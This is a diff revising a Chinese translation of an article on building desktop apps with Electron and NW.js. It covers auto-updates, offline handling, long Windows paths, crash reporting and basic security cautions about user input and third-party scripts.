+如果你通过 Electron 的 bug 追踪器提交问题，你可以在几天之内得到回复。我曾经见过 NW.js 有经过三年都未修复的 bug，我并不是坚决反对他们这么做，开发开源项目采用的语言和使用这个项目的开发者了解的语言如此的不同，是非常难维护的。NW.js 和 Electron 主要是用 C++ （以及少部分 Objective C++）写的，但是使用这两个项目的人写的是 JavaScript。我非常感激 NW.js 给我们的帮助。
 
 Electron 弥补了 NW.js API 上的一些不足。比如，你可以绑定全局的键盘快捷键，这样即使你的 app 并没有获取焦点，键盘事件也可以被捕获。曾经我在 NW.js 的应用中碰到过一个 API 的漏洞，就是我在 Windows 上可以绑定 `Control + Shift + A` 快捷键达到预期目的，但是实际上到了 Mac 上绑定的快捷键是 `Command + Shift + A`，这个的确是有意而为之的，但是仍然很奇怪。没有任何方法可以在 Mac 上绑定 `Control` 键。另外，如果想绑定 `Command` 键，在 Mac 上的确没问题，而到了 Windows 和 Linux 上绑定的却是 `Windows` 键。Electron 的团队发现了这些问题（我猜是在给 Atom 添加快捷键的时候），然后他们很快更新了他们自己的全局快捷键（globalShortcut）API，以上遇到的情况就可以正常工作了。公平起见，NW.js 修复了前一个问题，但一直没有修复后一个。
 
-还有其他一些不同的地方。比如说，之前原生的 notification 通知，在最近的 NW.js 版本中，变成了 Chrome 风格的了。这种通知不会进入到 Mac OS X 或者 Windows 10 的通知中心里面，但是在 npm 上有方便使用的模块解决。如果你想做一些有趣的有关音频或视频的事，建议使用 Electron，因为有些解码器和 NW.js 不兼容。
+还有其他一些不同的地方。比如说，之前原生的 notification 通知，在最近的 NW.js 版本中，变成了 Chrome 风格的了。这种通知不会进入到 Mac OS X 或者 Windows 10 的通知中心里面，但是在 npm 上有方便使用的模块解决。如果你想做一些有趣的有关音频或视频的东西，建议使用 Electron，因为有些解码器和 NW.js 不兼容。
 
-Electron 还添加了一些新的 API，更加多与桌面端的集成，并且内置了自动升级，我稍后会谈到。
+Electron 还添加了一些新的 API，更加多地与桌面端的集成，并且内置了自动升级，我稍后会谈到。
 
 ### 但是感觉如何呢？
 
@@ -216,7 +215,7 @@ Electron 还添加了一些新的 API，更加多与桌面端的集成，并且
 
 NW.js 和 Electron 都支持很多平台，包括 Windows，Mac 和 Linux。Electron 不支持 Windows XP 和 Vista，但 NW.js 支持。将 NW.js 应用上线到 Mac App Store 有些棘手，你必须绕几个弯子。而 Electron 支持直接的 Mac App Strore 兼容的版本，和普通的版本一样，只是某些模块你无法访问，比如自动更新（因为你的 app 会通过 Mac App Store 进行更新所以可以接受）。
 
-Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者树莓派上运行，最终，Google 会[逐步淘汰 Chrome 封装应用 （Packaged App）](https://blog.chromium.org/2016/08/from-chrome-apps-to-web.html)，但是 NW.js 仍然支持将应用程序移植到 NW.js 应用，并且仍然可以访问相同的 Chromium API。
+Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者树莓派上运行，最终，Google 可能会[逐步淘汰 Chrome 封装应用 （Packaged App）](https://blog.chromium.org/2016/08/from-chrome-apps-to-web.html)，但是 NW.js 仍然支持将应用程序移植到 NW.js 应用，并且仍然可以访问相同的 Chromium API。
 
 虽然 32 位和 64 位的版本都支持，你也可以使用 64 位的 Mac 和 Windows 应用。但是，为了兼容，32 位和 64 位 Linux 应用程序是都需要的。
 
@@ -228,28 +227,27 @@ Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者
 
 ### 自动更新
 
-NW.js 没有支持自动更新，但是由于我们可以随意使用 Node.js，我们可以做任何事情。开源模块可以帮你实现，比如[node-webkit-updater](https://github.com/edjafarov/node-webkit-updater)可以下载更更新当前的 app 版本。当然你也可以自己造轮子。
+NW.js 没有支持自动更新，但是由于我们可以随意使用 Node.js，我们可以做任何事情。开源模块可以帮你实现，比如 [node-webkit-updater](https://github.com/edjafarov/node-webkit-updater) 可以下载并替换为更新版本的 app。当然你也可以自己造轮子。
 
-通过[autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API，Electron 自带支持自动更新。但是它不支持 Linux 系统，所以我们建议发布你的 app 到 Linux 包管理器。`autoUpdater`API 使用非常简单，给定一个 URL 就可以调用`checkForUpdates`方法。因为它是事件驱动，所以你可以订阅`update-downloaded`事件，一旦该事件触发，就调用`restartAndInstall`方法来下载新版本 app 并且重启。你可以监听一些其他的事件，将自动更新和用户界面很好的捆绑起来。
+通过 [autoUpdater](http://electron.atom.io/docs/api/auto-updater/) API，Electron 自带支持自动更新。但是它不支持 Linux 系统，所以我们建议发布你的 app 到 Linux 包管理器。不必担心, 这在 Linux 上很常见。`autoUpdater` API 使用非常简单，给定一个 URL 就可以调用 `checkForUpdates` 方法。因为它是事件驱动，所以你可以订阅 `update-downloaded` 事件，一旦该事件触发，就调用 `restartAndInstall` 方法来下载新版本 app 并且重启。你可以监听一些其他的事件，将自动更新和用户界面很好的捆绑起来。
 
-*注意*：你可以使用多个更新频道，比如 Google Chrome 和 Google Chrome Canary。
+*注意*：你可以使用多个更新渠道，比如 Google Chrome 和 Google Chrome Canary。
 
-API 背后的逻辑可就没这么简单了。它是基于 Squirrel 更新框架，用来区分 Mac 和 Windows 平台，对应的软件分别是[Squirrel.Mac](https://github.com/Squirrel/Squirrel.Mac) 和 [Squirrel.Windows](https://github.com/Squirrel/Squirrel.Windows)。
+API 背后的逻辑可就没这么简单了。它是基于 Squirrel 更新框架，用来区分 Mac 和 Windows 平台，对应的软件分别是 [Squirrel.Mac](https://github.com/Squirrel/Squirrel.Mac) 和 [Squirrel.Windows](https://github.com/Squirrel/Squirrel.Windows)。
 
-Mac 上的 Electron app 和更新有关的代码非常简单，但是你还是需要一个简单的服务器。一旦你调用 autoUpdater 模块中的`checkForUpdates`的方法，它会访问服务器。如果没有更新，服务器返回 204（“No Content”）；如果有更新，则返回 200 和一个包含 `.zip`文件 URL的 JSON。再回到客户端 app，Squirrel 知道接下来该怎么做：它会下载`.zip`，解压然后触发相应的事件。
+Mac 上的 Electron app 和更新有关的代码非常简单，但是你还是需要一个简单的服务器。一旦你调用 autoUpdater 模块中的 `checkForUpdates` 的方法，它会访问服务器。如果没有更新，服务器返回 204（“No Content”）；如果有更新，则返回 200 和一个包含 `.zip` 文件 URL 的 JSON。再回到客户端 app，Squirrel 知道接下来该怎么做：它会下载 `.zip`，解压然后触发相应的事件。
 
 Windows 平台上 app 的更新需要更多点功夫。你不一定需要一台服务器。你可以把静态文件部署在某些地方，比如亚马逊的 AWS S3，或者甚至放在本地机器，可以方便测试。虽然 Mac 平台上的 Squirrel 和 Windows 平台上的 Squirrel 有些不同，但是依然有折中的办法来实现更新，比如给每个平台都分别部署一个服务器，或者把更新文件放在 S3 或者其他地方。
 
-Squirrel.Windows 有些很不错的特性是 Squirrel.Mac 所没有的，Squirrel.Mac 也同样如此。Squirrel.Windows 在后台实现更新，所以当你调用`restartAndInstall`，速度会更快，因为本地已经提前下载好了需要的更新文件。Squirrel.Windows 也支持 delta 更新，比如 app 检测到新版本需要更新，需要更新的部分会以补丁包的方式被下载和安装，而不是重新下载整个新的 app。当前的 app 要比最新版本低三个版本，Squirrel.Windows 甚至可以按照递增的方式来下载和安装需要的更新。当然如果当前 app 已经落后最新版本15（TODO）个版本，Squirrel.Windows 就直接下载和安装整个最新的 app。这些功能底层已经帮你实现好了，API 使用起来依然很简单。你只需要检查更新，系统会帮你找到最优方案实现更新，并且告知用户更新完毕。
+Squirrel.Windows 有些很不错的特性是 Squirrel.Mac 所没有的。Squirrel.Windows 在后台实现更新，所以当你调用`restartAndInstall`，速度会更快，因为本地已经提前下载好了需要的更新文件。Squirrel.Windows 也支持 delta 更新，比如 app 检测到新版本需要更新，需要更新的部分会以补丁包的方式被下载和安装，而不是重新下载整个新的 app。假如当前的 app 要比最新版本低三个版本，Squirrel.Windows 甚至可以按照递增的方式来下载和安装需要的更新。当然如果当前 app 已经落后最新版本 15 个版本，Squirrel.Windows 就直接下载和安装整个最新的 app。这些功能底层已经帮你实现好了，API 使用起来依然很简单。你只需要检查更新，系统会帮你找到最优方案实现更新，并且告知用户更新完毕。
 
-*注意*：
-虽然这些补丁包也必须部署在服务器上，但是 electron-builder 会帮你生成这些文件。
+*注意*：虽然这些补丁包也必须部署在服务器上，但是 electron-builder 会帮你生成这些文件。
 
 感谢 Electron 社区，让我们不一定非要构建自己的服务器。有很多开源项目帮助你实现把[更新文件部署在 S3 上](https://github.com/ArekSredzki/electron-release-server)，或者用 [GitHub release](https://github.com/GitbookIO/nuts)，甚至还有[提供后台控制面板](https://github.com/ArekSredzki/electron-release-server)来管理不同的更新版本。
 
 ### 桌面应用和网页应用的对决
 
-那么桌面 app 到底和 web app 有些哪些不同？让我们来看看在 web 平台上使用 API 的副作用以及工作流还有在维护当中遇到的痛点。（TODO）
+那么桌面 app 到底和 web app 有些哪些不同？让我们来看看你可能遇到的一些意想不到的问题或收获，比如在 web 平台上使用 API 的副作用以及工作流中的痛点还有维护困难等。
 
 第一件事情就是浏览器限定（browser lock-in），你也许会因此暗自高兴。假如你只做桌面 app，你很清楚用户用的是哪个版本的 Chromium。让我们来假设一下：你可以在 app 当中用到 flexbox，ES6，原生的 WebSocket，WebRTC 以及任何你想到的东西。你甚至可以在 app 当中开启尚在测试的 Chromium 特性，或者允许使用 localStorage。你根本不用处理任何跨浏览器的兼容问题。基于 Node.js API 和 NPM，你可以做任何事情。
 
@@ -257,11 +255,11 @@ Squirrel.Windows 有些很不错的特性是 Squirrel.Mac 所没有的，Squirre
 
 #### 处理 file://
 
-另外一个有趣的事情是你的 app 要做到离线优先（offline-first）。需要牢记的是用户即使在没有网路的情况下也能正常使用 app，载入本地文件。你需要认真考虑 app 在网络条件差的情况下，如何正常工作。你可能需要改变思考问题的方式。
+另外一个有趣的事情是你的 app 要做到离线优先（offline-first）。在构建 app 的时候需要牢记的是，用户即使在没有网路的情况下也能正常使用 app，载入本地文件。你需要认真考虑 app 在网络条件差的情况下，如何正常工作。你可能需要改变思考问题的方式。
 
-*注意*：你可以载入远程 URLs，但是我不建议这么做。
+*注意*：你可以载入远程 URL，但是我不建议这么做。
 
-我给出的建议是不要完全相信[`navigator.onLine`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine)。这个属性会返回布尔类型来反馈当前网络连接状态，不过需要注意到误报。如果有本地连接它就返回 true 而不去验证连接的有效性。网络连接虽然显示成功，但是可能实际上无法正常访问网页。比如本地机器到 Vagrant 虚拟机的连接会被误认为是成功的网络连接。所以，请使用 Sindre Sorhus’ [`is-online`](https://github.com/sindresorhus/is-online) 来复核网络连接状态。它会 ping 互联网的根服务器或者一些著名网站的 favicon 文件。比如：
+我给出的建议是不要完全相信 [`navigator.onLine`](https://developer.mozilla.org/en-US/docs/Web/API/NavigatorOnLine/onLine)。这个属性会返回布尔值来反馈是否存在网络连接，不过请注意误报。如果有本地连接它就返回 true 而不去验证连接的有效性。网络连接虽然显示成功，但是可能实际上无法正常访问网页。比如本地机器到 Vagrant 虚拟机的连接会被误认为是成功的网络连接。所以，请使用 Sindre Sorhus 的 [`is-online`](https://github.com/sindresorhus/is-online) 来复核网络连接状态。它会 ping 互联网的根服务器或者一些著名网站的 favicon 文件。比如：
 
 ```javascript
 const isOnline = require('is-online');
@@ -278,29 +276,29 @@ else {
 }
 ```
 
-说到本地文件，有几件事情需要注意，比如你无法使用少协议（protocol less）的 URL，我的意思是比如用`//` 代替`http://` 或者 `https://`。理论上，如果一个 web app 在请求`//example.com/hello.json`，那么如果走的是 HTTPS的话，浏览器会把地址扩展为`https://example.com/hello.json`。在我们的 app 当中，如果这么做，当前页面会使用`file://`协议。所以，当我们请求同样的 URL 时候，app 会把地址扩展为`file://example.com/hello.json`然后请求失败。我们真正要担心的是那些第三方模块；那些作者可能并没有按照桌面 app 的思路来制作模块。
+说到本地文件，有几件事情需要注意，比如你无法使用少协议（protocol less）的 URL，我的意思是比如用 `//` 代替 `http://` 或者 `https://`。理论上，如果一个 web app 在请求 `//example.com/hello.json` 时，浏览器会把地址扩展为 `http://example.com/hello.json` 或者 `https://example.com/hello.json` （如果当前页面是通过 HTTPS 加载）。在我们的 app 当中，如果这么做，当前页面会使用 `file://` 协议。所以，当我们请求同样的 URL 时候，app 会把地址扩展为 `file://example.com/hello.json` 然后请求失败。我们真正要担心的是那些第三方模块；那些作者可能并没有按照桌面 app 的思路来制作模块。
 
 你不会使用到 CDN，因为载入本地文件基本上是瞬间完成的。而且不像浏览器，你没有同时请求数量的限制，至少不会像 HTTP/1.1 那样。你可以并发载入尽可能多的文件。
 
-#### 大量文件 TODO
+#### 大量文件生成
 
-构建一个可靠稳固的桌面 app 需要生产大量的文件。你需要为一个自动更新的系统生成可执行文件和安装包。然后对应的每一个更新，都需要再次构建可执行文件和更多的安装包（因为如果有人去你的网站下载，他们会下载到最新版本）以及针对增量更新（delta update）的二进制比较文件（binary diffs）TODO。
+构建一个可靠稳固的桌面 app 需要生产大量的文件。你需要为一个自动更新的系统生成可执行文件和安装包。然后对应的每一个更新，都需要再次构建可执行文件和更多的安装包（因为如果有人去你的网站下载，他们应当下载到最新版本）以及针对增量更新（delta update）的更新补丁。
 
-文件大小仍然是一个需要考虑的地方。一个“Hello, World!”的 Electron app 压缩包是 40 MB。在构建 web app 的时候，除了遵循一些常见规则外（比如写更少的代码，压缩文件，使用更少的依赖等等），我可以提供的意见不多。“Hello World” app 本质上就是一个包含了 HTML 文件的 app；占 app 体积的绝大多数文件是来自 Chromium 和 Node.js。至少在 Windows 平台上增量更新可以有效减少下载文件的大小。但是我希望用户不要在 2G 网络上去下载文件。
+文件大小仍然是一个需要考虑的问题。一个“Hello, World!”的 Electron app 压缩包是 40 MB。在构建 web app 的时候，除了遵循一些常见规则外（比如写更少的代码，压缩文件，使用更少的依赖等等），我可以提供的意见不多。“Hello World” app 本质上就是一个包含了 HTML 文件的 app；占 app 体积的绝大多数文件是来自 Chromium 和 Node.js。至少在 Windows 平台上增量更新可以有效减少下载文件的大小。但是我希望用户不要在 2G 网络上去下载文件。
 
-#### 一些意想不到的事情
+#### 预判意外状况
 
-在日后你一定会遇到一些意想不到的事情。有些事情要比其他更明显而且让人恼火。比如你制作了一个音乐播放器的 app，它支持迷你化，在其他应用之上用小窗口展示。假如用户点击了下拉菜单，app 会展示可选项，从 app 的底部边界溢出。如果你使用了非原生的包（比如 select2 或者 chosen），你会因此陷入麻烦。在打开下拉菜单的时候，它会被 app 的底部边界切割。用户会看到很少的选项甚至什么也看不到，这确实让人无语。当然这件事也会发生在浏览器上。但是因为已经是迷你化的播放器，用户不太可能会调整窗口大小。
+在日后你一定会遇到一些意想不到的事情。有些事情要比其他更明显而且让人恼火。比如你制作了一个音乐播放器的 app，它支持迷你化，在其他应用之上用小窗口展示。假如用户点击了下拉菜单，app 会展示可选项，从 app 的底部边界溢出。如果你使用了非原生的包（比如 select2 或者 chosen），你会因此陷入麻烦。在打开下拉菜单的时候，它会被 app 的底部边界切割。用户会看到很少的选项甚至什么也看不到，这确实让人无语。当然这件事也会发生在浏览器上。但是用户不太可能会调整窗口到那么小。
 
 ![Screenshots comparing what happens to a native dropdown versus a non-native one](https://www.smashingmagazine.com/wp-content/uploads/2017/01/dropdownComparison-preview-opt.png)
 
-你也许会知道，在 Mac 上每一个窗口都有一个 header 和 body。当窗口没有聚焦的时候，如果你把鼠标停留在 header 里面的图标或者按钮上，窗口的外观会对应的显示为鼠标停留状态。举个例子，macOS 上窗口的关闭按钮在未被停留时是灰色模糊的，当鼠标停留时，按钮变成红色。但是如果鼠标只是停留在 body 上，窗口外观不会发生改变。这是有意而为之的设计。让我们再回到我们的桌面app，基于 Chromium 的 app 是没有 header，整个 web app 就是窗口 body。你可以不用原生的框架而创建自己的 HTML 按钮来取代原生的最小化，最大化还有关闭按钮。如果窗口没有被聚焦，当鼠标停留的时候，窗口不会有任何变化。Hover 的样式没有被应用，这总让人感觉不太对。更糟糕的是，只有在点击关闭按钮的时候，窗口才会被聚焦。然后你还得再次点击关闭按钮来真正关闭当前窗口。
+你也许会知道，在 Mac 上每一个窗口都有一个 header 和 body。当窗口没有聚焦的时候，如果你把鼠标停留在 header 里面的图标或者按钮上，窗口的外观会对应的显示为鼠标停留状态。举个例子，macOS 上窗口的关闭按钮在未被停留时是灰色模糊的，当鼠标停留时，按钮变成红色。但是如果鼠标只是停留在 body 上，窗口外观不会发生改变。这是有意而为之的设计。让我们再回到我们的桌面 app，基于 Chromium 的 app 是没有 header，整个 web app 就是窗口 body。你可以不用原生的框架而创建自己的 HTML 按钮来取代原生的最小化，最大化还有关闭按钮。如果窗口没有被聚焦，当鼠标停留的时候，窗口不会有任何变化。Hover 的样式没有被应用，这总让人感觉不太对。更糟糕的是，只有在点击关闭按钮的时候，窗口才会被聚焦。然后你还得再次点击关闭按钮来真正关闭当前窗口。
 
-雪上加霜的是，Chromium 有一个 bug 可以掩盖这个问题，让你以为窗口会按照你期待的样子工作。把鼠标从窗口外移动到窗口内的元素，如果你移动得足够快，hover 样式会被应用。这是已经确认的 bug。把 hover 样式应用在一个模糊化的窗口 body 上“并不满足当前系统平台的要求”，日后该 bug 会被修复。但愿我上面说的话不会让你太心碎。事实上，你可以创建一个足够漂亮的自定义窗口控制，但现实是许多用户会因此苦恼（他们会怀疑这到底是不是原生的）。
+雪上加霜的是，Chromium 有一个 bug 可以掩盖这个问题，让你以为窗口会按照你期待的样子工作。把鼠标从窗口外移动到窗口内的元素，如果你移动得足够快，hover 样式会被应用。这是已经确认的 bug。把 hover 样式应用在一个模糊化的窗口 body 上“并不满足当前系统平台的要求”，日后该 bug 会被修复。但愿我上面说的话不会让你太心碎。事实上，你可以创建一个足够漂亮的自定义窗口控制区，但现实是许多用户会因此苦恼（他们会怀疑这到底是不是原生的）。
 
-所以你必须用到 Mac 原生的按钮。没有其他更好的办法了。对于NW.js app，你必须开启使用原生框架（你也可以通过在`package.json`里面把`window` 设置为 false来关闭使用原生框架）。
+所以你必须用到 Mac 原生的按钮。没有其他更好的办法了。对于 NW.js app，你必须开启使用原生框架（你也可以通过在 `package.json` 里面把 `window` 的属性 `frame` 设置为 `false` 来关闭使用原生框架）。
 
-Electron app 也可以实现同样效果。比如设置`new BrowserWindow({width: 800, height: 600, frame: true})`来创建窗口。Electron 官方团队就是这么做的，他们还加入另外一种不错的选项：把`titleBarStyle`设置成`hidden`会隐藏原生标题栏但是通过覆盖 app 左上角来保留原生的窗口控制。 这样就解决了之前的问题，但同时可以使用在左上角使用自定义按钮。
+Electron app 也可以实现同样效果。比如设置 `new BrowserWindow({width: 800, height: 600, frame: true})` 来创建窗口。Electron 官方团队就是这么做的，他们还加入另外一种不错的选项：把 `titleBarStyle` 设置成 `hidden` 会隐藏原生标题栏但是通过覆盖 app 左上角来保留原生的窗口控制。 这样就解决了之前的问题，但同时可以使用在左上角使用自定义按钮。
 
 ```javascript
 // main.js
@@ -327,27 +325,27 @@ app.on('ready', () => {
 
 你可以尽情地使用在构建 web app 时候用到的工具。你的 app 其实就是 HTML，CSS 还有 JavaScript 不是吗？针对桌面 app 开源社区也有丰富的插件和模块供你使用，比如你可以用 Gulp 插件来为你的 app 签名（如果你不打算用 electron-builder）。[Electron-connect](https://github.com/Quramy/electron-connect) 可以用来监控文件改动，如果主要的脚本文件有改动，它会在打开的窗口中应用这些改动或者重启 app。毕竟这就是 Node.js，你可以做任何事情。你也可以在 app 中用到 webpack 如果你想的话，虽然我不知道为什么要这么做，但这也是一个选择嘛。详情见 [awesome-electron](https://github.com/sindresorhus/awesome-electron) 获取更多资源。
 
-#### 版本发布流
+#### 版本发布流程
 
 维护和开发一个桌面应用是怎么样的体验？首先，发行版本流是完全不一样的。观念上就需要重新调整。在开发 web app 的时候，如果部署了之后然后遇到问题，这些都不是事。你直接修复 bug 就行了。新用户直接访问页面或者老用户重新加载页面就能得到最新的代码。开发者一旦有新任务，就直接去完成任务或者修复 bug 就好了。但是开发桌面 app 可不是这样。一旦冒失犯错，就无法撤回。这特别像开发移动 app 一样。你构建了 app，然后发布，就不可能撤回了。有些用户可能都不会从立即更新到最新的修复版本。这些存在于旧版本的 bug 可能会让你非常苦恼。
 
 #### 量子力学
 
-考虑到要服务于不同版本的 app，你的代码会以不同的形式和窗台而存在。多个变种的客户端（桌面 app）会以多种方式访问你的 API。所以你得认真考虑 API 的版本控制问题，做好测试。当 API 有变化时，你无法获知此次变动会不会造成问题。一个月前发布的版本可能会因为一些代码的变动而发生崩溃。
+考虑到要服务于不同版本的 app，你的代码会以不同的形式和状态而存在。多个版本的客户端（桌面 app）会以多种方式访问你的 API。所以你得认真考虑 API 的版本控制问题，做好测试。当 API 有变化时，你无法获知此次变动会不会造成问题。一个月前发布的版本可能会因为一些代码的变动而发生崩溃。
 
 #### 亟待解决的问题
 
-你也许会遇到一些很奇怪的问题，一些涉及到奇怪的账户管理，反病毒软件或者更糟。我之前遇到过一个案例，用户自己安装某些文件导致系统环境变量被修改。这直接导致了我们的 app 当中某个重要的依赖安装失败，因为系统命令无法找到。这些案例提醒我们有些情况下必须划清界限，如果我们忽略报错，会导致无法修复。对于遇到这些问题的用户，最好让 app 避免正常启动。最后我们决定如果再次报错，用户会看到一条指向文本的的报错信息，这个文本文件用来解释错误为什么会发生，同时告诉用户如何一步步去修复错误。
+你也许会遇到一些很奇怪的问题，一些涉及到奇怪的账户管理，反病毒软件或者更糟。我之前遇到过一个案例，用户自己安装某些文件导致系统环境变量被修改。这直接导致了我们的 app 当中某个重要的依赖安装失败，因为系统命令无法找到。这些案例提醒我们有些情况下必须划清界限，这对我们的 app 很重要，所以不能忽略报错，但我们也不能帮用户修好电脑。对于遇到这种问题的用户，他们的多数桌面应用顶多也是无法正常启动。最后我们决定如果再次报错，用户会看到一条链接到文档的报错信息，这个文档用来解释错误为什么会发生，同时告诉用户如何一步步去修复错误。
 
-当然，一些基于 web 的顾虑将不再适配于桌面 app，比如一些历史遗留的浏览器问题。但一些其他问题需要被考虑，比如在 Windows 上文件路径有 256 字节大小的限制。
+当然，一些基于 web 的顾虑将不再适配于桌面 app，比如一些历史遗留的浏览器问题。但有一些新的问题需要考虑，比如在 Windows 上文件路径有 256 字节大小的限制。
 
-旧版本的 npm 采用递归的文件结构存储依赖。你的所有依赖每一个都单独在当前目录下有`node_modules`。如果依赖模块自己本身也有依赖模块，这些子级的子级依赖会被存储在父级的`node_modules`中，比如`node_modules/a/node_modules/b`。因为 Node.js 和 npm 鼓励使用具有小型独立目的的模块TODO，你可能会很容易遇到长路径，比如`path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js`。
+旧版本的 npm 采用递归的文件结构存储依赖。你的依赖都各自存储在项目中的 `node_modules` 目录下的文件夹里（例如， `node_modules/a`）。如果依赖模块自己本身也有依赖模块，这些子级的子级依赖会被存储在父级的 `node_modules` 中，比如 `node_modules/a/node_modules/b`。因为 Node.js 和 npm 鼓励使用小巧的单用途模块，你可能会很容易遇到长路径，比如 `path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js`。
 
-*注意*：版本 3 之后 npm 尽可能得扁平化依赖树TODO。但是也存在一些其他原因导致长路径。
+*注意*：版本 3 之后 npm 尽可能地扁平化依赖关系树。但是也存在一些其他原因导致长路径。
 
-我们之前遇到一个问题，就是在特定版本的 Windows 上因为路径太长 app 无法正常启动或者启动之后就崩溃。配合 Electron，你可以把所有代码放在 [asar archive](http://electron.atom.io/docs/tutorial/application-packaging/) 当中。虽然使用这种方法也存在例外而不能保证永远都能正常使用。
+我们之前遇到一个问题，就是在特定版本的 Windows 上因为路径太长 app 无法正常启动或者启动之后就崩溃。这是个很头痛的问题。使用 Electron 时，你可以把所有代码放在 [asar archive](http://electron.atom.io/docs/tutorial/application-packaging/) 当中。虽然使用这种方法也存在例外而不能保证永远都能正常使用。
 
-我们做了一个小小的 Gulp 插件  [gulp-path-length](https://github.com/Teamwork/gulp-path-length) 用来告知开发者当前 app 当中是否存在任何危险的长文件路径。终端用户机器上的 app 来决定是否存在长文件路径。举个例子，假如安装包安装在 `C:\Users\<username>\AppData\Roaming`，当 app 构建完成（在本地通过持续集成服务完成），gulp-path-length 会用来监控是否当前目录下存在长文件路径（比如用户机器上的用户名过长而导致问题）。
+我们做了一个小小的 Gulp 插件  [gulp-path-length](https://github.com/Teamwork/gulp-path-length) 用来告知开发者当前 app 当中是否存在任何危险的长文件路径。终端用户将 app 放在哪里才能最终决定是否存在长文件路径。举个例子，假如安装包安装在 `C:\Users\<username>\AppData\Roaming`，当 app 构建完成（在本地通过持续集成服务完成），gulp-path-length 会用来监控是否当前目录下存在长文件路径（比如用户机器上的用户名过长而导致问题）。
 
 ```javascript
 var gulp = require('gulp');
@@ -366,23 +364,23 @@ gulp.task('default', function(){
 
 #### 关键性错误真的很致命
 
-因为所有的自动更新都发生在 app 本身，在每次检查更新前，未捕获的异常会导致 app 崩溃。假设你发现了一个 bug 然后发布了新版本进行修复。如果用户启动 app，自动更新开始下载，然后 app 崩溃。如果用户重新启动 app，自动更新再次下载，再次崩溃...所以，你必须想尽办法让用户知道他们需要重新安装 app。相信我，这确实很糟糕。
+因为所有的自动更新都发生在 app 内部，在每次检查更新前，未捕获的异常会导致 app 崩溃。假设你发现了一个 bug 然后发布了新版本进行修复。如果用户启动 app，自动更新开始下载，然后 app 崩溃。如果用户重新启动 app，自动更新再次下载，再次崩溃...所以，你必须想尽办法让用户知道他们需要重新安装 app。相信我，这确实很糟糕。
 
 #### 分析和 bug 报告
 
-你获取想追踪 app 的使用情况和各种错误。首先 Google Analytics 不起作用。你得找到一个分析工具可以支持`file://` URLs。如果你正使用工具来追查错误，假如工具支持发布版本追踪，一定要确保错误和版本挂钩。例如，如果你使用 [Sentry](https://sentry.io/welcome/) 追踪错误，确保在设定客户端的时候设定了正确的[确保在设定客户端的时候设定了正确的 `release`属性 ](https://docs.sentry.io/clients/javascript/config/#optional-settings)，这样错误会按照版本分类。否则当你收到错误报告准备修复错误的时候，你会持续收到错误报告和日志，这当中会包含一些错误判断。而这些错误来自用户正在使用旧版本 app。
+你很可能想追踪 app 的使用情况和各种错误。首先 Google Analytics 不起作用。你得找到一个分析工具可以支持 `file://` URL。如果你正使用工具来追查错误，假如工具支持发布版本追踪，一定要确保错误和版本挂钩。例如，如果你使用 [Sentry](https://sentry.io/welcome/) 追踪错误，[确保在设定客户端的时候设定了正确的 `release` 属性 ](https://docs.sentry.io/clients/javascript/config/#optional-settings)，这样错误会按照版本分类。否则当你收到错误报告准备修复错误的时候，你会持续收到错误报告和日志，这当中会包含一些误报。而这些误报来自用户正在使用旧版本 app。
 
-Electron 包含了 [`crashReporter`](http://electron.atom.io/docs/api/crash-reporter/) 模块，该模块在 app 完全崩溃后（例如整个 app 崩溃，而不是错误抛出）自动向开发者发送报告。你也可以监听一些事件用来指示 app 的 渲染进程无法响应。
+Electron 包含了 [`crashReporter`](http://electron.atom.io/docs/api/crash-reporter/) 模块，该模块在 app 完全崩溃后（例如整个 app 崩溃，而不是错误抛出）自动向开发者发送报告。你也可以监听一些事件用来指示 app 的渲染进程无法响应。
 
 #### 安全
 
-当接收用户输入或者信任第三方脚本的时候需要额外注意，因为恶意攻击者会用各种意想不到的方式来使用 Node.js。而且记住永远不要在未经检查后直接接受用户输入并传值到原生 API 或者命令。
+当接收用户输入或者信任第三方脚本的时候需要格外注意，因为恶意攻击者会用各种意想不到的方式来使用 Node.js。而且记住永远不要在未经检查直接接受用户输入并传值到原生 API 或者命令。
 
-也不要相信来自 vendors 的代码。我们最近遇到的问题来自公司 X 的用来分析的第三方代码片段。官方团队在发布的新版本当中包含了问题代码，导致了 app 致命错误。当用户启动 app 的时候，代码片段从 CDN 获取最新的 JavaScript 代码然后运行，随后抛出异常导致 app 无法继续运行。任何正在运行的 app 都不会受到影响，但是一旦重新打开 app 就会产生问题。我们联系公司 X 客服，随后他们发布了修复版本。如果再次重启 app 就会正常运行了，虽然已经解决了问题，但是回头想想还是很让人担心。如果我们不去强制受影响的用户手动下载修复版本的app，我们自己就很难直接解决问题。
+也不要相信来自 vendors 的代码。我们最近遇到的问题来自公司 X 的分析应用的第三方代码片段。官方团队在发布的新版本当中包含了问题代码，导致了 app 致命错误。当用户启动 app 的时候，代码片段从 CDN 获取最新的 JavaScript 代码然后运行，随后抛出异常导致 app 无法继续运行。任何正在运行的 app 都不会受到影响，但是一旦重新打开 app 就会产生问题。我们联系公司 X 客服，随后他们发布了修复版本。如果再次重启 app 就会正常运行了，虽然已经解决了问题，但是回头想想还是很让人担心。如果我们不去强制受影响的用户手动下载修复版本的 app，我们自己就很难直接解决问题。
 
-该怎么样才能规避风险呢？也许你可以试着捕获报错，但是你完全不知道公司 X 在 JavaScript 里面究竟做了什么。你最好使用更可靠稳固的代码。你可以加入一层抽象，不直接在`<script>`指向公司 X 的URL而使用[Google Tag Manager](https://www.google.ie/analytics/tag-manager/) 或者你自己的 API 来返回包含有`<script>`标签的 HTML 文件或者包含所有第三方依赖的单独的 JavaScript 文件。这样在避免重新安装新版本的情况下，指定任意第三方代码片段被加载。
+该怎么样才能规避风险呢？也许你可以试着捕获报错，但是你完全不知道公司 X 在 JavaScript 里面究竟做了什么。你最好使用更可靠稳固的代码。你可以加入一层抽象，不直接在 `<script>` 指向公司 X 的URL而使用 [Google Tag Manager](https://www.google.ie/analytics/tag-manager/) 或者你自己的 API 来返回包含有 `<script>` 标签的 HTML 文件或者包含所有第三方依赖的单独的 JavaScript 文件。这样在避免重新安装新版本的情况下，指定任意第三方代码片段被加载。
 
